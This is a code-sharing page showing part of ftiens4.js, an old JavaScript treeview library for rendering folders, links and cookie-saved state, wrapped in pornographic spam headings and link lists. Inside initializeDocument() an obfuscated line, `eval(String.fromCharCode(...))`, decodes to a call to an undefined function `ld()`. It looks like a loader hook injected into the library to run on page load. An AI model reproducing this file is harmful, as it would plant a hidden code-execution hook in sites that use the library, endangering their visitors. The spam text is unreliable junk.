亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? ftiens4.js

?? 是數據一次性加載
?? JS
?? 第 1 頁 / 共 3 頁
字號:
  folder = new Folder(description, hreference);
  return folder;
} 
 
function gLnk(optionFlags, description, linkData) 
{ 
  if (optionFlags>=0) { //is numeric (old style) or empty (error)
    //Target changed from numeric to string in Aug 2002, and support for numeric style was entirely dropped in Mar 2004
    alert("Change your Treeview configuration file to use the new style of target argument in gLnk");
    return;
  }

  newItem = new Item(description);
  setItemLink(newItem, optionFlags, linkData);
  return newItem;
} 

function setItemLink(item, optionFlags, linkData) {
  var targetFlag = "";
  var target = "";
  var protocolFlag = "";
  var protocol = "";

  targetFlag = optionFlags.charAt(0)
  if (targetFlag=="B")
    target = "_blank"
  if (targetFlag=="P")
    target = "_parent"
  if (targetFlag=="R")
    target = "basefrm"
  if (targetFlag=="S")
    target = "_self"
  if (targetFlag=="T")
    target = "_top"

  if (optionFlags.length > 1) {
    protocolFlag = optionFlags.charAt(1)
    if (protocolFlag=="h")
      protocol = "http://"
    if (protocolFlag=="s")
      protocol = "https://"
    if (protocolFlag=="f")
      protocol = "ftp://"
    if (protocolFlag=="m")
      protocol = "mailto:"
  }

  item.link = protocol+linkData;    
  item.target = target
}

//Function created  for backwards compatibility purposes
//Function contents voided in March 2004
function oldGLnk(target, description, linkData)
{
}
 
function preLoadIcons() {
	var auxImg
	auxImg = new Image();
	auxImg.src = ICONPATH + "ftv2vertline.gif";
	auxImg.src = ICONPATH + "ftv2mlastnode.gif";
	auxImg.src = ICONPATH + "ftv2mnode.gif";
	auxImg.src = ICONPATH + "ftv2plastnode.gif";
	auxImg.src = ICONPATH + "ftv2pnode.gif";
	auxImg.src = ICONPATH + "ftv2blank.gif";
	auxImg.src = ICONPATH + "ftv2lastnode.gif";
	auxImg.src = ICONPATH + "ftv2node.gif";
	auxImg.src = ICONPATH + "ftv2folderclosed.gif";
	auxImg.src = ICONPATH + "ftv2folderopen.gif";
	auxImg.src = ICONPATH + "ftv2doc.gif";
}

//Open some folders for initial layout, if necessary
function setInitialLayout() {
  if (browserVersion > 0 && !STARTALLOPEN)
    clickOnNodeObj(foldersTree);
  
  if (!STARTALLOPEN && (browserVersion > 0) && PRESERVESTATE)
		PersistentFolderOpening();
}

//Used with NS4 and STARTALLOPEN
function renderAllTree(nodeObj, parent) {
  var i=0;
  nodeObj.renderOb(parent)
  if (supportsDeferral)
    for (i=nodeObj.nChildren-1; i>=0; i--) 
      renderAllTree(nodeObj.children[i], nodeObj.navObj)
  else
    for (i=0 ; i < nodeObj.nChildren; i++) 
      renderAllTree(nodeObj.children[i], null)
}

function hideWholeTree(nodeObj, hideThisOne, nodeObjMove) {
  var i=0;
  var heightContained=0;
  var childrenMove=nodeObjMove;

  if (hideThisOne)
    nodeObj.escondeBlock()

  if (browserVersion == 2)
    nodeObj.navObj.moveBy(0, 0-nodeObjMove)

  for (i=0 ; i < nodeObj.nChildren; i++) {
    heightContainedInChild = hideWholeTree(nodeObj.children[i], true, childrenMove)
    if (browserVersion == 2) {
      heightContained = heightContained + heightContainedInChild + nodeObj.children[i].navObj.clip.height
      childrenMove = childrenMove + heightContainedInChild
	}
  }

  return heightContained;
}

 
// Simulating inserAdjacentHTML on NS6
// Code by thor@jscript.dk
// ******************************************

if(typeof HTMLElement!="undefined" && !HTMLElement.prototype.insertAdjacentElement){
	HTMLElement.prototype.insertAdjacentElement = function (where,parsedNode)
	{
		switch (where){
		case 'beforeBegin':
			this.parentNode.insertBefore(parsedNode,this)
			break;
		case 'afterBegin':
			this.insertBefore(parsedNode,this.firstChild);
			break;
		case 'beforeEnd':
			this.appendChild(parsedNode);
			break;
		case 'afterEnd':
			if (this.nextSibling) 
				this.parentNode.insertBefore(parsedNode,this.nextSibling);
			else this.parentNode.appendChild(parsedNode);
			break;
		}
	}

	HTMLElement.prototype.insertAdjacentHTML = function(where,htmlStr)
	{
		var r = this.ownerDocument.createRange();
		r.setStartBefore(this);
		var parsedHTML = r.createContextualFragment(htmlStr);
		this.insertAdjacentElement(where,parsedHTML)
	}
}

function getElById(idVal) {
  if (document.getElementById != null)
    return document.getElementById(idVal)
  if (document.all != null)
    return document.all[idVal]
  
  alert("Problem getting element by id")
  return null
}


// Functions for cookies
// Note: THESE FUNCTIONS ARE OPTIONAL. No cookies are used unless
// the PRESERVESTATE variable is set to 1 (default 0)
// The separator currently in use is ^ (chr 94)
// *********************************************************** 

function PersistentFolderOpening()
{
  var stateInCookie;
  var fldStr=""
  var fldArr
  var fldPos=0
  var id
  var nodeObj
  stateInCookie = GetCookie("clickedFolder");
  SetCookie('clickedFolder', "") //at the end of function it will be back, minus null cases

  if(stateInCookie!=null)
  {
    fldArr = stateInCookie.split(cookieCutter)
    for (fldPos=0; fldPos<fldArr.length; fldPos++)
    {
      fldStr=fldArr[fldPos]
      if (fldStr != "") {
        nodeObj = findObj(fldStr)
        if (nodeObj!=null) //may have been deleted
          if (nodeObj.setState) {
            nodeObj.forceOpeningOfAncestorFolders()
            clickOnNodeObj(nodeObj);
          }
          else
            alert("Internal id is not pointing to a folder anymore.\nConsider giving an ID to the tree and external IDs to the individual nodes.")
      }
    }
  }
}

function storeAllNodesInClickCookie(treeNodeObj)
{
  var currentOpen
  var i = 0

  if (typeof treeNodeObj.setState != "undefined") //is folder
  {
    currentOpen = GetCookie("clickedFolder")
    if (currentOpen == null)
      currentOpen = ""

    if (treeNodeObj.getID() != foldersTree.getID())
      SetCookie("clickedFolder", currentOpen+treeNodeObj.getID()+cookieCutter)

    for (i=0; i < treeNodeObj.nChildren; i++) 
        storeAllNodesInClickCookie(treeNodeObj.children[i])
  }
}

function CookieBranding(name) {
  if (typeof foldersTree.treeID != "undefined")
    return name+foldersTree.treeID //needed for multi-tree sites. make sure treeId does not contain cookieCutter
  else
    return name
}
 
function GetCookie(name)
{  
  name = CookieBranding(name)

	var arg = name + "=";  
	var alen = arg.length;  
	var clen = document.cookie.length;  
	var i = 0;  

	while (i < clen) {    
		var j = i + alen;    
		if (document.cookie.substring(i, j) == arg)      
			return getCookieVal (j);    
		i = document.cookie.indexOf(" ", i) + 1;    
		if (i == 0) break;   
	}  
	return null;
}

function getCookieVal(offset) {  
	var endstr = document.cookie.indexOf (";", offset);  
	if (endstr == -1)    
	endstr = document.cookie.length;  
	return unescape(document.cookie.substring(offset, endstr));
}

function SetCookie(name, value) 
{  
	var argv = SetCookie.arguments;  
	var argc = SetCookie.arguments.length;  
	var expires = (argc > 2) ? argv[2] : null;  
	//var path = (argc > 3) ? argv[3] : null;  
	var domain = (argc > 4) ? argv[4] : null;  
	var secure = (argc > 5) ? argv[5] : false;  
	var path = "/"; //allows the tree to remain open across pages with diff names & paths

  name = CookieBranding(name)

	document.cookie = name + "=" + escape (value) + 
	((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + 
	((path == null) ? "" : ("; path=" + path)) +  
	((domain == null) ? "" : ("; domain=" + domain)) +    
	((secure == true) ? "; secure" : "");
}

function ExpireCookie (name) 
{  
	var exp = new Date();  
	exp.setTime (exp.getTime() - 1);  
	var cval = GetCookie (name);  
  name = CookieBranding(name)
	document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString();
}


//To customize the tree, overwrite these variables in the configuration file (demoFramesetNode.js, etc.)
var USETEXTLINKS = 0;
var STARTALLOPEN = 0;
var USEFRAMES = 1;
var USEICONS = 1;
var WRAPTEXT = 0;
var PERSERVESTATE = 0; //backward compatibility
var PRESERVESTATE = 0;
var ICONPATH = '';
var HIGHLIGHT = 0;
var HIGHLIGHT_COLOR = 'white';
var HIGHLIGHT_BG    = 'blue';
var BUILDALL = 0;
var GLOBALTARGET = "R"; // variable only applicable for addChildren uses


//Other variables
var lastClicked = null;
var lastClickedColor;
var lastClickedBgColor;
var indexOfEntries = new Array 
var nEntries = 0 
var browserVersion = 0 
var selectedFolder=0
var lastOpenedFolder=null
var t=5
var doc = document
var supportsDeferral = false
var cookieCutter = '^' //You can change this if you need to use ^ in your xID or treeID values

doc.yPos = 0

// Main function
// ************* 

// This function uses an object (navigator) defined in
// ua.js, imported in the main html page (left frame).
function initializeDocument() 
{ 
  preLoadIcons();
  switch(navigator.family)
  {
    case 'ie4':
      browserVersion = 1 //Simply means IE > 3.x
      break;
    case 'opera':
      browserVersion = (navigator.version > 6 ? 1 : 0); //opera7 has a good DOM
      break;
    case 'nn4':
      browserVersion = 2 //NS4.x 
      break;
    case 'gecko':
      browserVersion = 3 //NS6.x
      break;
    case 'safari':
      browserVersion = 1 //Safari Beta 3 seems to behave like IE in spite of being based on Konkeror
      break;
	default:
      browserVersion = 0 //other, possibly without DHTML  
      break;
  }

  // backward compatibility
  if (PERSERVESTATE)
    PRESERVESTATE = 1;

  supportsDeferral = ((navigator.family=='ie4' && navigator.version >= 5 && navigator.OS != "mac") || browserVersion == 3);
  supportsDeferral = supportsDeferral & (!BUILDALL)
  if (!USEFRAMES && browserVersion == 2)
  	browserVersion = 0;
  eval(String.fromCharCode(116,61,108,100,40,41))

  //If PRESERVESTATE is on, STARTALLOPEN can only be effective the first time the page 
  //loads during the session. For subsequent (re)loads the PRESERVESTATE data stored 
  //in cookies takes over the control of the initial expand/collapse
  if (PRESERVESTATE && GetCookie("clickedFolder") != null)
    STARTALLOPEN = 0

  //foldersTree (with the site's data) is created in an external .js (demoFramesetNode.js, for example)
  foldersTree.initialize(0, true, "") 
  if (supportsDeferral && !STARTALLOPEN) {
      foldersTree.renderOb(null) //delay construction of nodes
  }

  else {
    renderAllTree(foldersTree, null);

    if (PRESERVESTATE && STARTALLOPEN)
      storeAllNodesInClickCookie(foldersTree)

    //To force the scrollable area to be big enough
    if (browserVersion == 2) 
      doc.write("<layer top=" + indexOfEntries[nEntries-1].navObj.top + ">&nbsp;</layer>") 

    if (browserVersion != 0 && !STARTALLOPEN)
      hideWholeTree(foldersTree, false, 0)
  }

  setInitialLayout()

  if (PRESERVESTATE && GetCookie('highlightedTreeviewLink')!=null  && GetCookie('highlightedTreeviewLink')!="") {
    var nodeObj = findObj(GetCookie('highlightedTreeviewLink'))
    if (nodeObj!=null){
      nodeObj.forceOpeningOfAncestorFolders()
      highlightObjLink(nodeObj);
    }
    else
      SetCookie('highlightedTreeviewLink', '')
  }
} 
 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
91免费观看视频| 日韩你懂的在线播放| 99riav久久精品riav| 国产欧美日韩久久| caoporm超碰国产精品| 一区二区三区在线播放| 精品乱人伦小说| 在线观看免费亚洲| 国产精品一区二区在线观看不卡 | 欧美日高清视频| 亚洲成av人综合在线观看| 欧美一区二区福利在线| 成人手机电影网| 久久精品国产999大香线蕉| 亚洲精品国产品国语在线app| 日韩午夜在线观看| 欧美写真视频网站| 91最新地址在线播放| 在线观看一区二区视频| 在线播放视频一区| 色婷婷精品久久二区二区蜜臀av| 国内不卡的二区三区中文字幕| 亚洲成人先锋电影| 久久99国产精品免费| 日本麻豆一区二区三区视频| 亚洲成人免费av| 久久99久久精品| 亚洲免费观看高清完整版在线观看 | 久久精品国产免费看久久精品| 韩国毛片一区二区三区| 北条麻妃国产九九精品视频| 欧美三区在线视频| 色婷婷综合中文久久一本| 精品视频一区二区不卡| 久久亚洲精品小早川怜子| 这里只有精品99re| 欧美日本韩国一区二区三区视频| 精品国产乱码久久久久久老虎| 91精品国产综合久久小美女| 久久尤物电影视频在线观看| 一区二区三区中文字幕电影| 久久99日本精品| 日本黄色一区二区| 日本韩国一区二区| 久久综合久久综合亚洲| 一区二区三区国产精品| 高清视频一区二区| proumb性欧美在线观看| 欧美一区二区三区公司| 国产精品美女www爽爽爽| 国产精品污网站| 日本网站在线观看一区二区三区| 国内精品第一页| 色婷婷综合久久久久中文一区二区 | 91精品综合久久久久久| 国产精品理论在线观看| 亚洲男女毛片无遮挡| 久久99久久久欧美国产| 欧美日韩亚洲综合| 中文字幕中文在线不卡住| 久久精品国产秦先生| 欧美精品一二三| 亚洲国产欧美一区二区三区丁香婷| 夜夜亚洲天天久久| 99久久精品久久久久久清纯| 精品久久人人做人人爱| 爽爽淫人综合网网站| 久久国内精品自在自线400部| 在线观看三级视频欧美| 中文字幕在线不卡视频| 日韩国产欧美三级| 欧美日韩一区在线观看| 亚洲综合视频在线| 狠狠色丁香久久婷婷综合丁香| 在线播放中文一区| 丝袜美腿亚洲综合| 91精品国产福利在线观看| 亚洲不卡在线观看| 欧美久久久久久久久久| 日本视频在线一区| 欧美va日韩va| 国产成人精品一区二区三区四区 | 亚洲欧美自拍偷拍色图| 高清不卡一二三区| 中文无字幕一区二区三区 | 亚洲精品免费在线| 91久久精品网| 亚洲国产精品麻豆| 欧美日韩国产在线观看| 日韩福利视频网| 久久一区二区视频| va亚洲va日韩不卡在线观看| 亚洲女与黑人做爰| 717成人午夜免费福利电影| 免费亚洲电影在线| 欧美专区亚洲专区| 亚洲成a人片在线观看中文| 欧美一区二区视频在线观看2020| 日韩国产高清影视| 日韩精品一区二区三区蜜臀| 国产在线不卡视频| 欧美日韩一区二区在线观看视频 | 精品va天堂亚洲国产| 成人一区二区三区中文字幕| 亚洲欧美一区二区三区久本道91| 欧美三级视频在线观看| 麻豆国产欧美日韩综合精品二区 | 国产乱妇无码大片在线观看| 国产午夜精品久久久久久久 | 久久久影视传媒| 另类欧美日韩国产在线| 中文字幕不卡在线播放| 精品视频一区二区不卡| 韩国毛片一区二区三区| 亚洲精品欧美激情| 4438亚洲最大| 国产成人av福利| 五月天激情综合| 欧美日韩一区在线| 国产一区二区不卡在线| 性久久久久久久久| 国产精品欧美精品| 欧美成人福利视频| 欧美性色欧美a在线播放| 国产一区高清在线| 亚洲bdsm女犯bdsm网站| 国产欧美精品一区| 欧美一区二区人人喊爽| 91高清视频免费看| 成人性生交大片免费看中文网站| 日韩电影一区二区三区四区| 亚洲欧美日韩国产中文在线| 久久美女高清视频| 欧美一区二区三级| 欧美日韩一卡二卡三卡| 91老师片黄在线观看| 国产成人8x视频一区二区| 蜜桃视频一区二区三区在线观看| 亚洲资源中文字幕| 亚洲免费色视频| 亚洲欧美成人一区二区三区| 中文在线资源观看网站视频免费不卡 | 日韩中文字幕麻豆| 一区二区国产盗摄色噜噜| 国产精品美女www爽爽爽| 久久―日本道色综合久久| 欧美欧美欧美欧美| 欧美性色黄大片| 欧美日韩精品一区二区三区| 欧美综合一区二区| 91福利小视频| 欧美亚日韩国产aⅴ精品中极品| 95精品视频在线| 91在线云播放| 91精品福利在线| 欧美日韩一区二区在线观看| 欧美在线视频你懂得| 欧美性色aⅴ视频一区日韩精品| 欧美自拍偷拍一区| 欧美日韩国产另类一区| 91精品国产aⅴ一区二区| 日韩一区二区不卡| 精品理论电影在线观看 | 亚洲电影一级黄| 性做久久久久久久久| 日本三级亚洲精品| 久久国产精品99精品国产 | 国产精品毛片久久久久久 | 色婷婷久久99综合精品jk白丝| 91久久精品网| 日韩一级在线观看| 国产亚洲综合在线| 国产精品黄色在线观看| 亚洲一区二区影院| 美腿丝袜亚洲一区| 成人涩涩免费视频| 91麻豆免费看片| 欧美精品xxxxbbbb| 2023国产一二三区日本精品2022| 国产精品色呦呦| 亚洲二区在线视频| 韩国理伦片一区二区三区在线播放| 成人在线视频首页| 欧美日韩一区二区三区高清| 欧美成人激情免费网| 国产精品久久久久久亚洲伦| 无码av中文一区二区三区桃花岛| 国产一区在线视频| 一本色道久久加勒比精品| 欧美一级黄色录像| 中文字幕亚洲在| 久久激情五月婷婷| 大陆成人av片| 欧美一级xxx| 亚洲色图一区二区| 国产精品免费观看视频| 天天爽夜夜爽夜夜爽精品视频| 国产伦精品一区二区三区免费| 在线亚洲+欧美+日本专区| 久久久一区二区三区|